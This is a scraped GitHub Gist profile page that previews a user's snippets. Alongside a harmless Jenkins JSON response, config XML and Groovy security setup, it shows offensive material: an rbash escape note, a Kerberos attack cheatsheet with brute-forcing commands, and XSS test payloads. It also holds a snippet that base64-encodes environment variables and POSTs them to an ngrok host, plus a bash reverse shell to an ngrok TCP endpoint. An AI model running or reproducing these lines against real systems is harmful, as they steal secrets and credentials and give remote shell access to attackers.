Skip to content

Instantly share code, notes, and snippets.

View dibsy's full-sized avatar
In search for food & shelter

Dibyendu Sikdar dibsy

In search for food & shelter
View GitHub Profile
echo "${{ vars.NOT_KNOWN }}"
@dibsy
dibsy / jenkins.json
Created October 11, 2023 13:17
Sample Jenkins API JSON Response
{
"_class" : "hudson.model.Hudson",
"assignedLabels" : [
{
"name" : "built-in"
}
],
"mode" : "NORMAL",
"nodeDescription" : "the Jenkins controller's built-in node",
"nodeName" : "",
@dibsy
dibsy / rbash-escape.md
Created July 10, 2023 18:14 — forked from PSJoshi/rbash-escape.md
Escape from rbash to bash shell

Change rbash to bash

psj@ubuntu:~$ ssh psj@server_name-t "bash --noprofile"

List available commands:

$ compgen -c 

Essentially you need to do the following:

@dibsy
dibsy / kerberos_attacks_cheatsheet.md
Created June 1, 2023 14:25 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

alert(document.domain);
env|base64 >/tmp/f
export aa=`tr -d '\n'< /tmp/f`
curl -s -X POST https://6aee-91-166-172-59.ngrok-free.app --data $aa
<?xml version='1.1' encoding='UTF-8'?>
<hudson>
<disabledAdministrativeMonitors/>
<version>2.387.2</version>
<numExecutors>1</numExecutors>
<mode>NORMAL</mode>
<useSecurity>true</useSecurity>
<authorizationStrategy class="hudson.security.GlobalMatrixAuthorizationStrategy">
<permission>USER:hudson.model.Hudson.Administer:superadmin</permission>
<permission>USER:hudson.model.Hudson.Administer:builduser</permission>
bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/14352 0>&1
import jenkins.model.*
def instance = Jenkins.getInstance()
import hudson.security.*
def realm = new HudsonPrivateSecurityRealm(false)
instance.setSecurityRealm(realm)
def strategy = new hudson.security.FullControlOnceLoggedInAuthorizationStrategy()
strategy.setAllowAnonymousRead(false)
instance.setAuthorizationStrategy(strategy)
@dibsy
dibsy / test.js
Created December 11, 2022 11:11
Test XSS
alert(1)